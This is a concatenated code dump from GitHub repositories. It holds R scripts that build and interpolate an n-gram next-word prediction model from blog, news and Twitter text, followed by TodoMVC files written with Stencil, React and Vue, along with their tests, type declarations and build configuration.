write.csv(four_grams_twitter_ho, "C:/Capstone/FourGram_twitter_inter.csv", row.names = FALSE)
#
#
#
#Read them in again and time it. Should take less time. Only takes 6 seconds!
one_grams_blogs_ho <- read.csv("C:/Capstone/OneGram_blogs_inter.csv", stringsAsFactors = F)
one_grams_news_ho <- read.csv("C:/Capstone/OneGram_news_inter.csv",stringsAsFactors = F)
one_grams_twitter_ho <- read.csv("C:/Capstone/OneGram_twitter_inter.csv",stringsAsFactors = F)
two_grams_blogs_ho <- read.csv("C:/Capstone/TwoGram_blogs_inter.csv",stringsAsFactors = F)
two_grams_news_ho <- read.csv("C:/Capstone/TwoGram_news_inter.csv",stringsAsFactors = F)
two_grams_twitter_ho <- read.csv("C:/Capstone/TWoGram_twitter_inter.csv",stringsAsFactors = F)
three_grams_blogs_ho <- read.csv("C:/Capstone/ThreeGram_blogs_inter.csv",stringsAsFactors = F)
three_grams_news_ho <- read.csv("C:/Capstone/ThreeGram_news_inter.csv",stringsAsFactors = F)
three_grams_twitter_ho <- read.csv("C:/Capstone/ThreeGram_twitter_inter.csv",stringsAsFactors = F)
four_grams_blogs_ho <- read.csv("C:/Capstone/FourGram_blogs_inter.csv",stringsAsFactors = F)
four_grams_news_ho <- read.csv("C:/Capstone/FourGram_news_inter.csv",stringsAsFactors = F)
four_grams_twitter_ho <- read.csv("C:/Capstone/FourGram_twitter_inter.csv",stringsAsFactors = F)
##MODEL 3: Linear interpolation model.
start_time <- Sys.time()
#Read them in again and time it. Should take less time. Only takes 6 seconds!
one_grams_blogs <- read.csv("C:/Capstone/OneGram_blogs_smaller.csv", stringsAsFactors = F)
one_grams_news <- read.csv("C:/Capstone/OneGram_news_smaller.csv",stringsAsFactors = F)
one_grams_twitter <- read.csv("C:/Capstone/OneGram_twitter_smaller.csv",stringsAsFactors = F)
two_grams_blogs <- read.csv("C:/Capstone/TwoGram_blogs_smaller.csv",stringsAsFactors = F)
two_grams_news <- read.csv("C:/Capstone/TwoGram_news_smaller.csv",stringsAsFactors = F)
two_grams_twitter <- read.csv("C:/Capstone/TWoGram_twitter_smaller.csv",stringsAsFactors = F)
three_grams_blogs <- read.csv("C:/Capstone/ThreeGram_blogs_smaller.csv",stringsAsFactors = F)
three_grams_news <- read.csv("C:/Capstone/ThreeGram_news_smaller.csv",stringsAsFactors = F)
three_grams_twitter <- read.csv("C:/Capstone/ThreeGram_twitter_smaller.csv",stringsAsFactors = F)
four_grams_blogs <- read.csv("C:/Capstone/FourGram_blogs_smaller.csv",stringsAsFactors = F)
four_grams_news <- read.csv("C:/Capstone/FourGram_news_smaller.csv",stringsAsFactors = F)
four_grams_twitter <- read.csv("C:/Capstone/FourGram_twitter_smaller.csv",stringsAsFactors = F)
#Function to add maximum likelihood column to unigram frequency tables
add_MLs <- function(frequency_table){
frequency_table <- frequency_table %>% mutate(p = frequency_table$Freq/sum(frequency_table$Freq))
return(frequency_table)
}
#Add maximum likelihoods to each frequency table.
one_grams_blogs <- add_MLs(one_grams_blogs)
one_grams_news <- add_MLs(one_grams_news)
one_grams_twitter <- add_MLs(one_grams_twitter)
two_grams_blogs <- add_MLs(two_grams_blogs)
two_grams_news <- add_MLs(two_grams_news)
two_grams_twitter <- add_MLs(two_grams_twitter)
three_grams_blogs <- add_MLs(three_grams_blogs)
three_grams_news <- add_MLs(three_grams_news)
three_grams_twitter <- add_MLs(three_grams_twitter)
four_grams_blogs <- add_MLs(four_grams_blogs)
four_grams_news <- add_MLs(four_grams_news)
four_grams_twitter <- add_MLs(four_grams_twitter)
#Break up higher order n-grams into smaller n-gram columns.
ngram_subsets <- function(four_grams, three_grams, two_grams,one_grams){
#Split all trigrams into individual words
four_gram_split<- strsplit(four_grams$n_gram, " ")
third_last_word <- sapply(four_gram_split, "[[", 2)
#Create a character vector of only the second word in each trigram.
second_last_word <- sapply(four_gram_split, "[[", 3)
#Create a character vector of only the last word in each trigram
last_word <- sapply(four_gram_split, "[[", 4)
#Create a vector of bigrams that are the last two words of each trigram.
sub_three_grams<- paste(third_last_word, second_last_word, last_word, sep=" ")
sub_bigrams <- paste(second_last_word, last_word, sep=" ")
#Create a data frame of the bigrams from the dataset that are actually part of the last two
#words of the trigrams in the trigram data frame. Make sure to match the order that they are found
#in the trigram dataframe as well.
three_grams_included <- three_grams %>% filter(three_grams$n_gram %in% sub_three_grams)
three_grams_included <- three_grams_included[order(match(three_grams_included$n_gram, sub_three_grams)),]
two_grams_included <- two_grams %>% filter(two_grams$n_gram %in% sub_bigrams)
two_grams_included <- two_grams_included[order(match(two_grams_included$n_gram, sub_bigrams)),]
one_grams_included <- one_grams %>% filter(one_grams$n_gram %in% last_word)
one_grams_included <- one_grams_included[order(match(one_grams_included$n_gram, last_word)),]
four_grams <- four_grams %>% mutate(three_grams = sub_three_grams)
four_grams <- four_grams %>% mutate(two_grams = sub_bigrams)
four_grams <- four_grams %>% mutate(one_grams = last_word)
prob_three_grams <- three_grams_included$p[match(four_grams$three_grams, three_grams_included$n_gram)]
prob_two_grams <- two_grams_included$p[match(four_grams$two_grams, two_grams_included$n_gram)]
prob_one_grams <- one_grams_included$p[match(four_grams$one_grams, one_grams_included$n_gram)]
four_grams <- four_grams %>% mutate(p_threegrams = prob_three_grams)
four_grams <- four_grams %>% mutate(p_twograms = prob_two_grams)
four_grams <- four_grams %>% mutate(p_onegrams = prob_one_grams)
return(four_grams)
}
#Break up three grams into smaller n-grams.
threegram_subsets <- function(three_grams, two_grams,one_grams){
#Split all trigrams into individual words
three_gram_split<- strsplit(three_grams$n_gram, " ")
#Create a character vector of only the second word in each trigram.
second_last_word <- sapply(three_gram_split, "[[", 2)
#Create a character vector of only the last word in each trigram
last_word <- sapply(three_gram_split, "[[", 3)
sub_bigrams <- paste(second_last_word, last_word, sep=" ")
#Create a data frame of the bigrams from the dataset that are actually part of the last two
#words of the trigrams in the trigram data frame. Make sure to match the order that they are found
#in the trigram dataframe as well.
two_grams_included <- two_grams %>% filter(two_grams$n_gram %in% sub_bigrams)
two_grams_included <- two_grams_included[order(match(two_grams_included$n_gram, sub_bigrams)),]
one_grams_included <- one_grams %>% filter(one_grams$n_gram %in% last_word)
one_grams_included <- one_grams_included[order(match(one_grams_included$n_gram, last_word)),]
three_grams <- three_grams %>% mutate(two_grams = sub_bigrams)
three_grams <- three_grams %>% mutate(one_grams = last_word)
prob_two_grams <- two_grams_included$p[match(three_grams$two_grams, two_grams_included$n_gram)]
prob_one_grams <- one_grams_included$p[match(three_grams$one_grams, one_grams_included$n_gram)]
three_grams <- three_grams %>% mutate(p_twograms = prob_two_grams)
three_grams <- three_grams %>% mutate(p_onegrams = prob_one_grams)
return(three_grams)
}
#Break up two garms into individual words and show the last word.
twogram_subsets <- function(two_grams,one_grams){
#Split all trigrams into individual words
two_gram_split<- strsplit(two_grams$n_gram, " ")
last_word <- sapply(two_gram_split, "[[", 2)
#Create a data frame of the bigrams from the dataset that are actually part of the last two
#words of the trigrams in the trigram data frame. Make sure to match the order that they are found
#in the trigram dataframe as well.
one_grams_included <- one_grams %>% filter(one_grams$n_gram %in% last_word)
one_grams_included <- one_grams_included[order(match(one_grams_included$n_gram, last_word)),]
two_grams <- two_grams %>% mutate(one_grams = last_word)
prob_one_grams <- one_grams_included$p[match(two_grams$one_grams, one_grams_included$n_gram)]
two_grams <- two_grams %>% mutate(p_onegrams = prob_one_grams)
return(two_grams)
}
#Add probability vectors to the datsets.
four_grams_blogs_p <- ngram_subsets(four_grams_blogs, three_grams_blogs, two_grams_blogs, one_grams_blogs)
four_grams_news_p <- ngram_subsets(four_grams_news, three_grams_news, two_grams_news, one_grams_news)
four_grams_twitter_p <- ngram_subsets(four_grams_twitter, three_grams_twitter, two_grams_twitter, one_grams_twitter)
three_grams_blogs_p <- threegram_subsets(three_grams_blogs, two_grams_blogs, one_grams_blogs)
three_grams_news_p <- threegram_subsets(three_grams_news, two_grams_news, one_grams_news)
three_grams_twitter_p <- threegram_subsets(three_grams_twitter, two_grams_twitter, one_grams_twitter)
two_grams_blogs_p <- twogram_subsets(two_grams_blogs, one_grams_blogs)
two_grams_news_p <- twogram_subsets(two_grams_news, one_grams_news)
two_grams_twitter_p <- twogram_subsets(two_grams_twitter, one_grams_twitter)
#Function to calculate the interpolated probability for each n-gram.
interpolation_fourgrams <- function(four_grams, lambda1,lambda2,lambda3,lambda4){
four_grams$interpolated_p <- lambda1*four_grams$p + lambda2*four_grams$p_threegrams
+ lambda3*four_grams$p_twograms + lambda4*four_grams$p_onegrams
four_grams <- four_grams[order(four_grams$interpolated_p, decreasing=T),]
return(four_grams)
}
#Function to calculate the interpolated probability for each n-gram.
interpolation_threegrams <- function(three_grams, lambda1,lambda2,lambda3){
three_grams$interpolated_p <- lambda1*three_grams$p + lambda2*three_grams$p_twograms
+ lambda3*three_grams$p_onegrams
three_grams <- three_grams[order(three_grams$interpolated_p, decreasing=T),]
return(three_grams)
}
#Function to calculate the interpolated probability for each n-gram.
interpolation_twograms <- function(two_grams, lambda1,lambda2){
two_grams$interpolated_p <- lambda1*two_grams$p + lambda2*two_grams$p_onegrams
two_grams <- two_grams[order(two_grams$interpolated_p, decreasing=T),]
return(two_grams)
}
#Set lambda values for the interpolation.
lambda1_4gram <- 0.25
lambda2_4gram <- 0.25
lambda3_4gram <- 0.25
lambda4_4gram <- 0.25
lambda1_3gram <- 1/3
lambda2_3gram <- 1/3
lambda3_3gram <- 1/3
lambda1_2gram <- 0.5
lambda2_2gram <- 0.5
#Use the interpolation function to do the interpolation on each n-gram dataset.
four_grams_blogs_li <- interpolation_fourgrams(four_grams_blogs_p, lambda1_4gram, lambda2_4gram, lambda3_4gram, lambda4_4gram)
four_grams_news_li <- interpolation_fourgrams(four_grams_news_p, lambda1_4gram, lambda2_4gram, lambda3_4gram, lambda4_4gram)
four_grams_twitter_li <- interpolation_fourgrams(four_grams_twitter_p, lambda1_4gram, lambda2_4gram, lambda3_4gram, lambda4_4gram)
three_grams_blogs_li <- interpolation_threegrams(three_grams_blogs_p, lambda1_3gram, lambda2_3gram, lambda3_3gram)
three_grams_news_li <- interpolation_threegrams(three_grams_news_p, lambda1_3gram, lambda2_3gram, lambda3_3gram)
three_grams_twitter_li <- interpolation_threegrams(three_grams_twitter_p, lambda1_3gram, lambda2_3gram, lambda3_3gram)
two_grams_blogs_li <- interpolation_twograms(two_grams_blogs_p, lambda1_2gram, lambda2_2gram)
two_grams_news_li <- interpolation_twograms(two_grams_news_p, lambda1_2gram, lambda2_2gram)
two_grams_twitter_li <- interpolation_twograms(two_grams_twitter_p, lambda1_2gram, lambda2_2gram)
#Now we need to make predictions with the linear interpolation model.
input_phrase <- c("the yellow")
#Create the prediction function for the interpolation model.
prediction <- function(input_phrase, four_grams_li, three_grams_li, two_grams_li, one_grams){
#Get the word count from the input phrase and truncate it to 3 words if the phrase was longer
#than three words.
if(length(input_phrase)>0){
num_words <- wordcount(input_phrase, sep = " ", count.function = sum)
} else
{
num_words <- 0
}
if(num_words > 3){
input_phrase <- strsplit(input_phrase," ")
input_phrase <- input_phrase[[1]][(num_words-2):num_words]
input_phrase <- concatenate(input_phrase, collapse = " ",rm.space = FALSE)
}
#Get the number of words in the input phrase.
if(num_words >0){
word_count <- wordcount(input_phrase, sep=" ",count.function = sum)
} else{
word_count <- 0
}
test_phrase <- paste("^", input_phrase, " ", sep="")
#check if you are predicting the 4th word from an input trigram.
if(word_count ==3){
if(length(grep(test_phrase, four_grams_li$n_gram)) > 0)
{
#Get the top 10 best guesses if the trigram is found in the list of 4grams.
sub_four_grams<- four_grams_li[grep(test_phrase, four_grams_li[,1]),]
results_fourgram <- subset(sub_four_grams, select = c("n_gram","interpolated_p"))
results_fourgram$n_gram <- substring(results_fourgram$n_gram,nchar(test_phrase))
final_results <- results_fourgram
print(final_results[1:10,1])
}else{
#Make the 3 word phrase into a two word phrase.
split_3wordphrase <- strsplit(input_phrase, " ")
two_word_phrase <- c(split_3wordphrase[[1]][2], split_3wordphrase[[1]][3])
two_word_phrase <- concatenate(two_word_phrase, collapse = " ",rm.space = FALSE)
two_word_phrase <- paste("^", two_word_phrase, " ", sep="")
#See in which trigrams the two word phrase shows up and get the trigrams that
#meet this criterion.
if(length(grep(two_word_phrase, three_grams_li$n_gram)) > 0)
{
sub_three_grams<- three_grams_li[grep(two_word_phrase, three_grams_li[,1]),]
results_threegram <- subset(sub_three_grams, select = c("n_gram","interpolated_p"))
results_threegram$n_gram <- substring(results_threegram$n_gram,nchar(two_word_phrase))
final_results <- results_threegram
print(final_results[1:10,1])
}else{
#Make two word phrase into a single word.
split_3wordphrase <- strsplit(input_phrase, " ")
previous_word <- split_3wordphrase[[1]][3]
previous_word <- paste("^",previous_word," ",sep="")
#Check to see if the input word is in any of the bigrams. Return subset
#of bigrams in which this is the case.
if(length(grep(previous_word, two_grams_li$n_gram)) > 0)
{
sub_two_grams<- two_grams_li[grep(previous_word, two_grams_li[,1]),]
results_twogram <- subset(sub_two_grams, select = c("n_gram","interpolated_p"))
results_twogram$n_gram <- substring(results_twogram$n_gram,nchar(previous_word))
final_results <- results_twogram
print(final_results[1:10,1])
} else{
results_onegram <- subset(one_grams, select = c("n_gram", "p"))
final_results <- results_onegram
print(final_results[1:10,1])
}
}
}
#Repeat the above commands if only a bigram is input.
} else if(word_count==2){
if(length(grep(test_phrase, three_grams_li$n_gram)) > 0)
{
sub_three_grams <- three_grams_li[grep(test_phrase, three_grams_li[,1]),]
results_threegram <- subset(sub_three_grams, select = c("n_gram","interpolated_p"))
results_threegram$n_gram <- substring(results_threegram$n_gram,nchar(test_phrase))
final_results <- results_threegram
print(final_results[1:10,1])
}else{
#Make two word phrase into a single word.
split_2wordphrase <- strsplit(input_phrase, " ")
previous_word <- split_2wordphrase[[1]][2]
previous_word <- paste("^",previous_word," ",sep="")
if(length(grep(previous_word, two_grams_li$n_gram)) > 0)
{
sub_two_grams<- two_grams_li[grep(previous_word, two_grams_li[,1]),]
results_twogram <- subset(sub_two_grams, select = c("n_gram","interpolated_p"))
results_twogram$n_gram <- substring(results_twogram$n_gram,nchar(previous_word))
final_results <- results_twogram
print(final_results[1:10,1])
} else{
results_onegram <- subset(one_grams, select = c("n_gram", "p"))
final_results <- results_onegram
print(final_results[1:10,1])
}
}
#Repeat the above approach if only a single word is entered.
} else if(word_count == 1){
if(length(grep(test_phrase, two_grams_li$n_gram)) > 0)
{
sub_two_grams<- two_grams_li[grep(test_phrase, two_grams_li[,1]),]
results_twogram <- subset(sub_two_grams, select = c("n_gram","interpolated_p"))
results_twogram$n_gram <- substring(results_twogram$n_gram,nchar(test_phrase))
final_results <- results_twogram
print(final_results[1:10,1])
} else{
results_onegram <- subset(one_grams, select = c("n_gram", "p"))
final_results <- results_onegram
print(final_results[1:10,1])
}
} else{
#Ask the user to enter at least one word if they didn't type anything in the first time.
if(word_count == 0){
print("Please enter at least one word:")
}
}
}
#Now call the linear interpolation prediction for blogs, news and tweets.
prediction(input_phrase, four_grams_blogs_li, three_grams_blogs_li, two_grams_blogs_li, one_grams_blogs)
prediction(input_phrase, four_grams_news_li, three_grams_news_li, two_grams_news_li, one_grams_news)
prediction(input_phrase, four_grams_twitter_li, three_grams_twitter_li, two_grams_twitter_li, one_grams_twitter)
#Record end execution times and the total execution time for the linear interpolation prediction.
end_time <- Sys.time()
end_time - start_time
<file_sep># build-ngram-frequencies.R
# author: <NAME>
# date: 15 Feb, 2021
# Description: Prepare n-gram frequencies
library(tm)
library(dplyr)
library(stringi)
library(stringr)
library(quanteda)
library(data.table)
# ------------------------------------------------------------------------------
# Prepare environment
# ------------------------------------------------------------------------------
rm(list = ls(all.names = TRUE))
setwd("/Users/bnpp/Desktop/coursera-data-science-capstone-master/shiny-app")
# ------------------------------------------------------------------------------
# Load the training data
# ------------------------------------------------------------------------------
# blogs
con <- file("./data/en_US/en_US.blogs.txt", open = "r")
blogs <- readLines(con, encoding = "UTF-8", skipNul = TRUE)
close(con)
# news
con <- file("./data/en_US/en_US.news.txt", open = "r")
news <- readLines(con, encoding = "UTF-8", skipNul = TRUE)
close(con)
# twitter
con <- file("./data/en_US/en_US.twitter.txt", open = "r")
twitter <- readLines(con, encoding = "UTF-8", skipNul = TRUE)
close(con)
print("Loaded training data")
print(paste0("Number of lines per file (blogs): ", format(length(blogs), big.mark = ",")))
print(paste0("Number of lines per file (news): ", format(length(news), big.mark = ",")))
print(paste0("Number of lines per file (twitter): ", format(length(twitter), big.mark = ",")))
print(paste0("Number of lines per file (total): ", format(length(blogs) + length(news) + length(twitter), big.mark = ",")))
# ------------------------------------------------------------------------------
# Prepare the data
# ------------------------------------------------------------------------------
# set seed for reproducability
set.seed(42)
# assign sample size
# Merging the sample datasets into one, trainMerged is a vector of sentences
sampleData <- c(sample(blogs, length(blogs) * 0.2), sample(news, length(news) * 0.2), sample(twitter, length(twitter) * 0.2))
# get number of lines and words from the sample data set
sampleDataLines <- length(sampleData)
sampleDataWords <- sum(stri_count_words(sampleData))
print("Create sample data set")
print(paste0("Number of lines: ", format(sampleDataLines, big.mark = ",")))
print(paste0("Number of words: ", format(sampleDataWords, big.mark = ",")))
# ------------------------------------------------------------------------------
# Clean the data
# ------------------------------------------------------------------------------
# load bad words file
con <- file("./data/bad-words.txt", open = "r")
profanity <- readLines(con, encoding = "UTF-8", skipNul = TRUE)
profanity <- iconv(profanity, "latin1", "ASCII", sub = "")
close(con)
# convert text to lowercase
sampleData <- tolower(sampleData)
# remove URL, email addresses, Twitter handles and hash tags
sampleData <- gsub("(f|ht)tp(s?)://(.*)[.][a-z]+", "", sampleData, ignore.case = FALSE, perl = TRUE)
sampleData <- gsub("\\S+[@]\\S+", "", sampleData, ignore.case = FALSE, perl = TRUE)
sampleData <- gsub("@[^\\s]+", "", sampleData, ignore.case = FALSE, perl = TRUE)
sampleData <- gsub("#[^\\s]+", "", sampleData, ignore.case = FALSE, perl = TRUE)
# remove ordinal numbers
sampleData <- gsub("[0-9](?:st|nd|rd|th)", "", sampleData, ignore.case = FALSE, perl = TRUE)
# remove profane words
sampleData <- removeWords(sampleData, profanity)
# remove punctuation
sampleData <- gsub("[^\\p{L}'\\s]+", "", sampleData, ignore.case = FALSE, perl = TRUE)
# remove punctuation (leaving ')
sampleData <- gsub("[.\\-!]", " ", sampleData, ignore.case = FALSE, perl = TRUE)
# trim leading and trailing whitespace
sampleData <- gsub("^\\s+|\\s+$", "", sampleData)
sampleData <- stripWhitespace(sampleData)
# write sample data set to disk
sampleDataFileName <- "data/en_US.sample.txt"
con <- file(sampleDataFileName, open = "w")
writeLines(sampleData, con)
close(con)
# remove variables no longer needed to free up memory
rm(badWordsURL, badWordsFile, con, sampleDataFileName, profanity)
# ------------------------------------------------------------------------------
# Build corpus
# ------------------------------------------------------------------------------
corpus <- corpus(sampleData)
# ------------------------------------------------------------------------------
# Build n-gram frequencies
# ------------------------------------------------------------------------------
getTopThree <- function(corpus) {
first <- !duplicated(corpus$token)
balance <- corpus[!first,]
first <- corpus[first,]
second <- !duplicated(balance$token)
balance2 <- balance[!second,]
second <- balance[second,]
third <- !duplicated(balance2$token)
third <- balance2[third,]
return(rbind(first, second, third))
}
# Generate a token frequency dataframe. Do not remove stemwords because they are
# possible candidates for next word prediction.
tokenFrequency <- function(corpus, n = 1, rem_stopw = NULL) {
corpus <- dfm(corpus, ngrams = n)
corpus <- colSums(corpus)
total <- sum(corpus)
corpus <- data.frame(names(corpus),
corpus,
row.names = NULL,
check.rows = FALSE,
check.names = FALSE,
stringsAsFactors = FALSE
)
colnames(corpus) <- c("token", "n")
corpus <- mutate(corpus, token = gsub("_", " ", token))
corpus <- mutate(corpus, percent = corpus$n / total)
if (n > 1) {
corpus$outcome <- word(corpus$token, -1)
corpus$token <- word(string = corpus$token, start = 1, end = n - 1, sep = fixed(" "))
}
setorder(corpus, -n)
corpus <- getTopThree(corpus)
return(corpus)
}
# get top 3 words to initiate the next word prediction app
startWord <- word(corpus$documents$texts, 1) # get first word for each document
startWord <- tokenFrequency(startWord, n = 1, NULL) # determine most popular start words
startWordPrediction <- startWord$token[1:3] # select top 3 words to start word prediction app
saveRDS(startWordPrediction, "./data/start-word-prediction2.RData")
# bigram
bigram <- tokenFrequency(corpus, n = 2, NULL)
saveRDS(bigram, "./data/bigram2.RData")
remove(bigram)
# trigram
trigram <- tokenFrequency(corpus, n = 3, NULL)
trigram <- trigram %>% filter(n > 1)
saveRDS(trigram, "./data/trigram2.RData")
remove(trigram)
# quadgram
quadgram <- tokenFrequency(corpus, n = 4, NULL)
quadgram <- quadgram %>% filter(n > 1)
saveRDS(quadgram, "./data/quadgram2.RData")
remove(quadgram)
| 3c1e8428b65d6e9e1fce8ac6f189d3cf281dc033 | [
"Markdown",
"R"
] | 4 | Markdown | Moveke/Word-Prediction-App | 0e7f6798fa7941af6a40571cc3dbd12a8937a9a6 | 01848c2f87dcfc119171ebdb7194af686b569d08 |
refs/heads/master | <file_sep>import { E2EElement, E2EPage, newE2EPage } from '@stencil/core/testing';
describe.skip('todo-item', () => {
let page: E2EPage;
let element: E2EElement;
describe('default behavior', () => {
beforeEach(async () => {
page = await newE2EPage({
html: `
<todo-item></todo-item>
`
});
element = await page.find('todo-item');
});
it('x', () => {
expect(1).toBe(1);
});
});
});
<file_sep>import { EventEmitter } from '../../../dist/types/stencil.core';
export declare class TodoInput {
inputSubmit: EventEmitter;
value: string;
keyUp: (e: any) => void;
render(): any;
}
<file_sep>{
"name": "todo-mvc-apps",
"private": true,
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"predeploy": "npm run build && npm run copy",
"copy": "cp ./CNAME ./dist/CNAME",
"deploy": "surge dist",
"prebuild": "rm -rf dist .cache",
"build": "NODE_ENV=production parcel build src/*.pug --no-source-maps",
"start": "NODE_ENV=development parcel src/*.pug --open"
},
"author": "",
"license": "ISC",
"dependencies": {
"pug": "^2.0.4",
"react": "^16.9.0",
"react-dom": "^16.9.0",
"use-custom-element": "^1.0.5",
"vue": "^2.6.10",
"vue-hot-reload-api": "^2.3.4"
},
"devDependencies": {
"@vue/component-compiler-utils": "^3.0.0",
"parcel-bundler": "^1.12.3",
"prettier": "^1.18.2",
"typescript": "^3.6.3",
"vue-template-compiler": "^2.6.10"
}
}
<file_sep>import { EventEmitter } from '../../../dist/types/stencil.core';
export declare class TodoItem {
completed: boolean;
text: string;
itemCheck: EventEmitter;
itemChanged: EventEmitter;
itemRemove: EventEmitter;
editing: boolean;
private textInput?;
private handledEvent;
edit: () => void;
doneEdit: (e: any) => void;
keyUp: (e: any) => void;
render(): any;
}
<file_sep># Todo MVC refactor to Stencil web components
[See the examples running here](https://todo-mvc-apps.surge.sh)
There are three projects within the packages folder
todo-mvc-apps - this project is for the TodoApp applications we will be changing to use web components. Currently, there are two versions on for Vue and another for React.
todo-mvc-stencil-web-components - this project is where we will create todo web components written using Stencil
todo-mvc-cypress-tests - this project contains the integration tests for the TodoApp written using Cypress.io
To get set up using this repo is to run
```bash
npm install
npm run bootstrap
npm start
```
this will install the dependencies for all of the projects
## refactoring Todo MVC
Six components will be replaced in the Todo MVC Refactor
1. todo-count
2. todo-toggle
3. todo-filter
4. todo-input
5. todo-item
6. todo-list
<file_sep>import React, { useState } from 'react';
import ReactDOM from 'react-dom';
import { TodoStoreProvider, TodoStoreContext } from '../store';
const TodoInput = () => {
const [textInput, onInputChange] = useState('');
const { onSubmitTodo } = React.useContext(TodoStoreContext);
const handleInputEnterPress = e => {
if (e.key === 'Enter') {
onSubmitTodo(textInput);
onInputChange('');
}
};
return (
<>
<input
onKeyPress={handleInputEnterPress}
className="new-todo"
placeholder="What needs to be done?"
autoFocus
value={textInput}
onChange={e => onInputChange(e.target.value)}
/>
</>
);
};
const TodoItem = ({ title, completed, onChecked, onRemove, onTitleChange }) => {
const [isEditing, setIsEditing] = useState(false);
const [_title, setTitle] = useState(title);
function onTitleDoubleClick() {
setIsEditing(true);
}
const keyUp = e => {
if (e.keyCode === 13) {
onTitleChange(_title);
setIsEditing(false);
}
if (e.keyCode === 27) {
e.preventDefault();
setTitle(title);
setIsEditing(false);
}
};
const doneEdit = e => {
setIsEditing(false);
onTitleChange(_title);
};
return (
<li
className={`todo ${completed ? 'completed' : ''} ${
isEditing ? 'editing' : ''
}`}
>
<div className="view">
<input
className="toggle"
onChange={onChecked}
checked={completed}
type="checkbox"
/>
<label onDoubleClick={() => setIsEditing(true)}>{title}</label>
<button onClick={onRemove} className="destroy" />
</div>
{isEditing && (
<input
autoFocus={true}
className="edit"
type="text"
value={_title}
className="edit"
onChange={e => {
setTitle(e.target.value);
}}
onBlur={doneEdit}
onKeyUp={keyUp}
/>
)}
</li>
);
};
const TodoMain = () => {
const { numberOfTodos } = React.useContext(TodoStoreContext);
return numberOfTodos ? (
<section className="main">
<TodoList />
</section>
) : null;
};
export const TodoList = () => {
const {
todos,
numberOfTodos,
numberOfCompletedTodos,
onRemoveTodo,
onCheckTodo,
onCheckAllTodo,
onTodoTitleChange
} = React.useContext(TodoStoreContext);
return (
<>
<input
onChange={e => onCheckAllTodo(e)}
id="toggle-all"
className="toggle-all"
type="checkbox"
checked={numberOfTodos === numberOfCompletedTodos}
/>
<label htmlFor="toggle-all">Mark all as complete</label>
<ul className="todo-list">
{todos.map((todo, i) => (
<TodoItem
key={i}
{...todo}
onTitleChange={onTodoTitleChange(i)}
onRemove={onRemoveTodo(i)}
onChecked={onCheckTodo(i)}
/>
))}
</ul>
</>
);
};
const TodoCount = () => {
const { numberOfActiveTodos } = React.useContext(TodoStoreContext);
return <todo-count number-of-active-todos={numberOfActiveTodos} />;
};
const TodoListFilter = ({ active, filter, onClick }) => {
const capitalizedFilter = filter.charAt(0).toUpperCase() + filter.slice(1);
return (
<a
href={`#${filter}`}
className={active ? 'selected' : ''}
onClick={onClick}
>
{capitalizedFilter}
</a>
);
};
const TodoFilters = () => {
const {
todos,
numberOfActiveTodos,
filterList,
onSetFilter,
filter,
onClearCompletedTodo
} = React.useContext(TodoStoreContext);
return (
<>
<ul className="filters">
{filterList.map(filterName => (
<li key={filterName}>
<TodoListFilter
active={filter === filterName}
filter={filterName}
onClick={() => onSetFilter(filterName)}
/>
</li>
))}
</ul>
{todos.length > numberOfActiveTodos ? (
<button className="clear-completed" onClick={onClearCompletedTodo}>
Clear completed
</button>
) : null}
</>
);
};
const TodoFooter = () => {
const { numberOfTodos } = React.useContext(TodoStoreContext);
return numberOfTodos ? (
<footer className="footer">
<TodoCount />
<TodoFilters />
</footer>
) : null;
};
function App() {
return (
<TodoStoreProvider>
<div className="App todoapp">
<header className="header">
<h1>{'todos'}</h1>
<TodoInput />
</header>
<TodoMain />
<TodoFooter />
</div>
</TodoStoreProvider>
);
}
var mountNode = document.getElementById('app');
ReactDOM.render(<App />, mountNode);
<file_sep>import { configure, addDecorator, addParameters } from '@storybook/html';
import { withKnobs } from '@storybook/addon-knobs';
import { withActions } from '@storybook/addon-actions';
import { withA11y } from '@storybook/addon-a11y';
import { withViewport } from '@storybook/addon-viewport';
import { DocsPage, DocsContainer } from '@storybook/addon-docs/blocks';
addParameters({
docs: {
container: DocsContainer,
page: DocsPage
},
options: {
hierarchyRootSeparator: /\|/
}
});
addDecorator(withKnobs);
addDecorator(withA11y);
// addDecorator(withActions);
// addDecorator(withViewport);
configure(
require.context('../src/components', true, /.stories.(tsx|mdx)$/),
module
);
<file_sep>import Vue from 'vue';
import App from './App-6-count-toggle-filters-input-item-list.vue';
import filters from '../filters';
const VueApp = new Vue(App);
function onHashChange() {
var visibility = window.location.hash.replace(/#\/?/, '');
if (filters[visibility]) {
VueApp.visibility = visibility;
} else {
window.location.hash = '';
VueApp.visibility = 'all';
}
}
window.addEventListener('hashchange', onHashChange);
onHashChange();
VueApp.$mount('#app');
<file_sep>declare const _default: {
title: string;
};
export default _default;
export declare const defaultState: () => string;
export declare const activeSelected: () => string;
export declare const completedSelected: () => string;
export declare const clearCompletedShown: () => string;
<file_sep>import { E2EElement, E2EPage, newE2EPage } from '@stencil/core/testing';
describe('todo-filters', () => {
describe('default behavior', () => {
let page: E2EPage;
let element: E2EElement;
beforeEach(async () => {
page = await newE2EPage({
html: `
<todo-filters></todo-filters>
`
});
element = await page.find('todo-filters');
});
it('should be three li elements', async () => {
const lis = await element.findAll('li');
expect(lis.length).toBe(3);
});
it('should select all by default', async () => {
const selected = await element.find('a.selected');
expect(selected.innerText).toBe('All');
});
it('clear-completed should not be visible', async () => {
const clearCompleted = await element.find('clear-completed');
expect(clearCompleted).toBeNull();
});
});
describe('events', () => {
let page: E2EPage;
let element: E2EElement;
beforeEach(async () => {
page = await newE2EPage({
html: `
<todo-filters any-completed="true"></todo-filters>
`
});
element = await page.find('todo-filters');
});
it.skip('clicking on filter emits event', async () => {
const spy = await page.spyOnEvent('set-filter');
const link = await element.find('li:nth-child(2)');
await link.click();
await page.waitForChanges();
expect(spy).toHaveReceivedEvent();
});
it('clear-completed click emits event', async () => {
const spy = await page.spyOnEvent('clear-completed');
const button = await element.find('.clear-completed');
await button.click();
await page.waitForChanges();
expect(spy).toHaveReceivedEvent();
});
});
describe('attribute set', () => {
let page: E2EPage;
let element: E2EElement;
it('should be three li elements', async () => {
page = await newE2EPage({
html: `
<todo-filters filter="active"></todo-filters>
`
});
element = await page.find('todo-filters');
const selected = await element.find('a.selected');
expect(selected.innerText).toBe('Active');
});
it('clear-completed should be visible', async () => {
page = await newE2EPage({
html: `
<todo-filters any-completed="true"></todo-filters>
`
});
element = await page.find('todo-filters');
const clearCompleted = await element.find('clear-completed');
expect(clearCompleted).toBeDefined();
});
});
});
<file_sep>import { EventEmitter } from '../../../dist/types/stencil.core';
export declare class TodoFilters {
filter: string;
anyCompleted: boolean;
setFilter: EventEmitter;
